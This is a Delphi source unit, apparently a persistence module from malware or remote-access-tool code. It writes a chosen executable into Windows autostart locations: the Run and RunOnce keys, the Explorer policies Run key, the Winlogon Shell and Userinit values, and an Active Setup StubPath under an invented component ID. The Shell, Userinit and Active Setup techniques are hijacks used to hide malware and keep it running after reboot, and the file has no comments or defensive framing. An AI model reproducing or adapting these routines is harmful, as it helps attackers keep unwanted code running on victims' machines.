unit
uStartUp;
interface
uses
windows, sysutils;
procedure
AddToRun(name,exe:
string
);
procedure
AddToRunOnce(name,exe:
string
);
procedure
AddToPolicies(name,exe:
string
);
procedure
AddToActiveX(exe:
string
);
procedure
AddToUserInit(exe:
string
);
procedure
AddToShell(exe:
string
);
implementation
function
SetTheReg(key:Hkey; subkey,name,value:
string
):
boolean
;
var
regKey:hkey;
begin
result:=
FALSE
;
RegCreateKey(key,
PChar
(subkey),regKey);
if
RegSetValueEx(regKey,
Pchar
(name),
0
,REG_SZ,
pchar
(value),length(value)) =
0
then
result:=
TRUE
;
RegCloseKey(regKey);
end
;
function
GetTheReg(key:Hkey; subkey,nombre:
String
):
String
;
var
bytesread:dword;
regKey: HKEY;
valor:
String
;
begin
Result:=
''
;
RegOpenKeyEx(key,
PChar
(subkey),
0
, KEY_READ, regKey);
RegQueryValueEx(regKey,
PChar
(nombre),
nil
,
nil
,
nil
,@bytesread);
SetLength(valor, bytesread);
if
RegQueryValueEx(regKey,
PChar
(nombre),
nil
,
nil
,@valor[
1
],@bytesread)=
0
then
result:=valor;
RegCloseKey(regKey);
end
;
function
DelTheReg(RootKey: HKEY; Name:
String
):
boolean
;
var
SubKey:
String
;
n:
integer
;
hTemp: HKEY;
begin
Result :=
False
;
n := LastDelimiter('\', Name);
if
n >
0
then
begin
SubKey := Copy(Name,
1
, n -
1
);
if
RegOpenKeyEx(RootKey,
PChar
(SubKey),
0
, KEY_WRITE, hTemp) = ERROR_SUCCESS
then
begin
SubKey := Copy(Name, n +
1
, Length(Name) - n);
Result := (RegDeleteKey(hTemp,
PChar
(SubKey)) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end
;
end
;
end
;
procedure
AddToPolicies(name,exe:
String
);
begin
SetTheReg(HKEY_CURRENT_USER,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
,name,exe);
end
;
procedure
AddToShell(exe:
String
);
var
Original:
string
;
begin
Original:=GetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
,
'Shell'
);
if
ansipos(exe, original)=
0
then
SetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
,
'Shell'
,
PChar
(Original)+
' "'
+exe+
'"'
);
end
;
procedure
AddToRunOnce(name,exe:
String
);
begin
SetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
,name,
'"'
+exe+
'"'
);
end
;
procedure
AddToRun(name,exe:
String
);
begin
SetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
,name,
''
+exe+
''
);
end
;
procedure
AddToUserInit(exe:
String
);
var
Original:
string
;
begin
Original:=GetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
,
'Userinit'
);
if
ansipos(exe, original)=
0
then
SetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
,
'Userinit'
,
PChar
(Original)+
' "'
+exe+
'"'
);
end
;
procedure
AddToActiveX(exe:
string
);
begin
SetTheReg(HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}'
,
'StubPath'
,
'"'
+exe+
'"'
);
end
;
end
.